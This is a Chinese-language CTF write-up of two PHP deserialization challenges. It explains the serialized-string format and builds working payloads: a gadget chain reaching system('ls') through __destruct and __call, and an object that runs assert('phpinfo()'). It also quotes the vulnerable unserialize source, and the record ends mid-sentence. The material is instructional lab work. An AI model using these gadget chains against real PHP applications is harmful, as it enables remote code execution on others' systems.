[HZNUCTF 2023 preliminary]ppppop
对于php反序列化,在之前的学习中有过了解,但是对于序列化字符串的格式不是很了解,刚好接触这题,可以了解一下
序列化字符串的格式:
布尔型(bool) | b:value |
整数型(int) | i:value |
字符串型(str) | s:length:"value" |
数组型(array) | a:length:{...} |
对象型(object) | O:length:class_name:properties_number{...} |
NULL型 |
序列化字符串中各部分的含义:
O:4:"User":1:{s:7:"isAdmin";b:0;}
//“O”代表序列化对象,说明我们序列化的部分是对象,如果序列化的是数组的话就是A
//“4”代表类的名字占4个字符
//“User”代表类名
//“1”代表具有一个属性(这个位置应该不陌生,在对wakeup魔术方法绕过时,就可以通过修改属性数量来绕过)
//“s”代表字符串
//“7”代表属性名长度
//“isAdmin”属性名
//“b”代表布尔型数据
//“0”代表布尔值
明确了各部分的含义之后,在学习之后的字符逃逸时就会好理解一些
例题
打开环境一片空白
正常的步骤,源代码,dirsearch,抓包,通过这三种方法来获取信息是比较方便有效的
cookie中有个user,不寻常,通过base64解密查看一下(就是刚刚分析的那个字符串)
页面是空的,可能是因为user中的布尔值是空的,改成1试一试
出现了熟悉的反序列化,但是也有陌生的东西,只用二次翻转就可以了
strrev():
php函数,有反转字符串的功能
<?php echo strrev("Hello World!"); ?>
分析代码,应该是想让我们通过class B 来进行命令执行,那么怎么触发call方法,A里面也没有不可访问的方法,但是可以注意到A中出现了一个实例化的过程,并且对三个属性都进行了调用,func和args就是B中执行的属性,所以是不是可以在A中实例化B来触发魔术方法,进行命令执行
构造payload
<?php
class A {
public $className="B";
public $funcName="system";
public $args="ls";
public function __destruct() {
$class = new $this->className;
$funcName = $this->funcName;
$class->$funcName($this->args);
}
}
class B {
public function __call($func, $arg) {
$func($arg[0]);
}
}
$a=new A;
echo base64_encode(strrev(serialize($a)));
?>
目录下没有看见有效信息,看看环境变量env
[NPUCTF2020]ReadlezPHP
php动态函数:
所谓动态函数,就是函数的名字用变量表示的函数。
function wel(){
echo 'welcome';
}
$result = "wel";
$result();
//调用动态函数的方法:
定义一个变量名;
把函数名赋给变量名;
使用变量名代替函数名动态调用函数
打开题目,查看源码
进入到source中,拿到一串源码,典型的反序列化
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
2024-04-25 01:45:07
这里涉及到使用动态函数,通过变量去调用,审查代码可以知道形式为b(a),那么a应该就是一个被执行的命令,b就是让这个字符串被当做命令执行,应该第一反应是eval,但是这里我们使用的是assert;
assert被认定为可变函数
<?php $a = 'assert'; $a('phpinfo()'); ?> # 这就是可变函数
可变函数就是指通过变量来调用函数;assert会把字符串参数执行,这个功能和eval类似,但是要求没有eval那么严格
构造payload
<?php
class HelloPhp
{
public $a;
public $b;
}
$c = new HelloPhp();
$c->a = 'phpinfo()';
$c->b = 'assert';
echo serialize($c);
在phpinfo中